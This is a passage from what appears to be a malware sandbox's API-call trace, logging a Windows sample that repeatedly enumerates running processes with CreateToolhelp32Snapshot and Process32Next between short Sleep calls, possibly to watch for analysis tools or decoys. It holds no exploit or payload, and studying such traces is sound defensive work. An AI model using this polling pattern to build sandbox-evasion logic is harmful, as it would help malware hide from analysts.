th32ProcessID=0x54c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0110.806] Process32Next (in: hSnapshot=0x17cc, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0110.808] Process32Next (in: hSnapshot=0x17cc, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0110.810] Process32Next (in: hSnapshot=0x17cc, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x64c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0110.812] Process32Next (in: hSnapshot=0x17cc, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2a, th32ParentProcessID=0x798, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0110.814] Process32Next (in: hSnapshot=0x17cc, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0110.815] Process32Next (in: hSnapshot=0x17cc, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x894, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0110.817] Process32Next (in: hSnapshot=0x17cc, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x908, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0110.819] Process32Next (in: hSnapshot=0x17cc, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0110.821] Process32Next (in: hSnapshot=0x17cc, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0110.822] Process32Next (in: hSnapshot=0x17cc, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xaac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0110.824] Process32Next (in: hSnapshot=0x17cc, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x774, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0110.826] Process32Next (in: hSnapshot=0x17cc, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x158, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0110.828] Process32Next (in: hSnapshot=0x17cc, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pay.exe")) returned 1 [0110.831] Process32Next (in: hSnapshot=0x17cc, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="stay agreement figure.exe")) returned 1 [0110.859] Process32Next (in: hSnapshot=0x17cc, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="focus-mr.exe")) returned 1 [0110.861] Process32Next (in: hSnapshot=0x17cc, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="democrat save after.exe")) returned 1 [0110.864] Process32Next (in: hSnapshot=0x17cc, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="happychoicepolicy.exe")) returned 1 [0110.867] Process32Next (in: hSnapshot=0x17cc, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="half.exe")) returned 1 [0110.869] Process32Next (in: hSnapshot=0x17cc, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="riskfail.exe")) returned 1 [0110.871] Process32Next (in: hSnapshot=0x17cc, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="something.exe")) returned 1 [0110.873] Process32Next (in: hSnapshot=0x17cc, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="for.exe")) returned 1 [0110.876] Process32Next (in: hSnapshot=0x17cc, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="rate year do.exe")) returned 1 [0110.878] Process32Next (in: hSnapshot=0x17cc, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xda0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="nearly_cover_oil.exe")) returned 1 [0110.881] Process32Next (in: hSnapshot=0x17cc, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xda8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="tell.exe")) returned 1 [0110.883] Process32Next (in: hSnapshot=0x17cc, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="learn night rather.exe")) returned 1 [0110.885] Process32Next (in: hSnapshot=0x17cc, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0110.887] Process32Next (in: hSnapshot=0x17cc, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0110.889] Process32Next (in: hSnapshot=0x17cc, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xddc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="former.exe")) returned 1 [0110.932] Sleep (dwMilliseconds=0x64) [0111.053] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x17cc [0111.070] Process32First (in: hSnapshot=0x17cc, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0111.152] Sleep (dwMilliseconds=0x64) [0111.254] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x17cc [0111.266] Process32First (in: hSnapshot=0x17cc, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0111.339] Sleep (dwMilliseconds=0x64) [0111.442] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x17cc [0111.454] Process32First (in: hSnapshot=0x17cc, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0111.516] Sleep (dwMilliseconds=0x64) [0111.631] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x17cc [0111.643] Process32First (in: hSnapshot=0x17cc, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0111.703] Sleep (dwMilliseconds=0x64) [0111.825] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x17cc [0111.837] Process32First (in: hSnapshot=0x17cc, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0111.958] Sleep (dwMilliseconds=0x64) [0112.095] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x17cc [0112.109] Process32First (in: hSnapshot=0x17cc, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0112.168] Sleep (dwMilliseconds=0x64) [0112.270] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x17cc [0112.281] Process32First (in: hSnapshot=0x17cc, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0112.340] Sleep (dwMilliseconds=0x64) [0112.444] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x17cc [0112.455] Process32First (in: hSnapshot=0x17cc, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0112.712] Sleep (dwMilliseconds=0x64) [0112.849] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x16e4 [0112.862] Process32First (in: hSnapshot=0x16e4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0113.056] Sleep (dwMilliseconds=0x64) [0113.162] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x16e4 [0113.176] Process32First (in: hSnapshot=0x16e4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0113.248] Sleep (dwMilliseconds=0x64) [0113.364] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x16e4 [0113.375] Process32First (in: hSnapshot=0x16e4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0113.447] Sleep (dwMilliseconds=0x64) [0113.550] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x16e4 [0113.562] Process32First (in: hSnapshot=0x16e4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0113.631] Sleep (dwMilliseconds=0x64) [0113.741] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x16e4 [0113.757] Process32First (in: hSnapshot=0x16e4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0113.860] Sleep (dwMilliseconds=0x64) [0113.974] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x16e4 [0113.986] Process32First (in: hSnapshot=0x16e4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0114.048] Sleep (dwMilliseconds=0x64) [0114.160] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x16e4 [0114.173] Process32First (in: hSnapshot=0x16e4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0114.233] Sleep (dwMilliseconds=0x64) [0114.451] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x16e4 [0114.464] Process32First (in: hSnapshot=0x16e4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0114.550] Sleep (dwMilliseconds=0x64) [0114.719] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x16e4 [0114.733] Process32First (in: hSnapshot=0x16e4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0114.811] Sleep (dwMilliseconds=0x64) [0114.926] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x16e4 [0114.940] Process32First (in: hSnapshot=0x16e4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0115.087] Sleep (dwMilliseconds=0x64) [0115.201] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2080 [0115.212] Process32First (in: hSnapshot=0x2080, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0115.272] Sleep (dwMilliseconds=0x64) [0115.391] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2080 [0115.408] Process32First (in: hSnapshot=0x2080, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0115.485] Sleep (dwMilliseconds=0x64) [0115.598] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2080 [0115.608] Process32First (in: hSnapshot=0x2080, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0115.669] Sleep (dwMilliseconds=0x64) [0115.785] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2080 [0115.797] Process32First (in: hSnapshot=0x2080, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0115.869] Sleep (dwMilliseconds=0x64) [0115.972] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2080 [0115.984] Process32First (in: hSnapshot=0x2080, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0116.047] Sleep (dwMilliseconds=0x64) [0116.161] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2080 [0116.171] Process32First (in: hSnapshot=0x2080, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0116.248] Sleep (dwMilliseconds=0x64) [0116.363] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2080 [0116.376] Process32First (in: hSnapshot=0x2080, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0116.469] Sleep (dwMilliseconds=0x64) [0116.582] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x16e4 [0116.596] Process32First (in: hSnapshot=0x16e4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0116.714] Sleep (dwMilliseconds=0x64) [0116.816] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x16e4 [0116.830] Process32First (in: hSnapshot=0x16e4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0116.922] Sleep (dwMilliseconds=0x64) [0117.035] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x16e4 [0117.047] Process32First (in: hSnapshot=0x16e4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0117.107] Sleep (dwMilliseconds=0x64) [0117.223] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x16e4 [0117.235] Process32First (in: hSnapshot=0x16e4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0117.300] Sleep (dwMilliseconds=0x64) [0117.410] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x16e4 [0117.419] Process32First (in: hSnapshot=0x16e4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0117.493] Sleep (dwMilliseconds=0x64) [0117.597] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x16e4 [0117.607] Process32First (in: hSnapshot=0x16e4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0117.666] Sleep (dwMilliseconds=0x64) [0117.769] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x16e4 [0117.779] Process32First (in: hSnapshot=0x16e4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0117.841] Sleep (dwMilliseconds=0x64) [0117.962] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x16e4 [0117.979] Process32First (in: hSnapshot=0x16e4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0118.039] Sleep (dwMilliseconds=0x64) [0118.144] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x16e4 [0118.156] Process32First (in: hSnapshot=0x16e4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0118.243] Sleep (dwMilliseconds=0x64) [0118.347] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x16e4 [0118.357] Process32First (in: hSnapshot=0x16e4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0118.425] Sleep (dwMilliseconds=0x64) [0118.551] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x16e4 [0118.564] Process32First (in: hSnapshot=0x16e4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0118.642] Sleep (dwMilliseconds=0x64) [0118.754] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x16e4 [0118.768] Process32First (in: hSnapshot=0x16e4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0118.862] Sleep (dwMilliseconds=0x64) [0118.973] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x16e4 [0118.992] Process32First (in: hSnapshot=0x16e4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0119.137] Sleep (dwMilliseconds=0x64) [0119.257] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x16e4 [0119.271] Process32First (in: hSnapshot=0x16e4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0119.337] Sleep (dwMilliseconds=0x64) [0119.441] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x16e4 [0119.452] Process32First (in: hSnapshot=0x16e4, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, 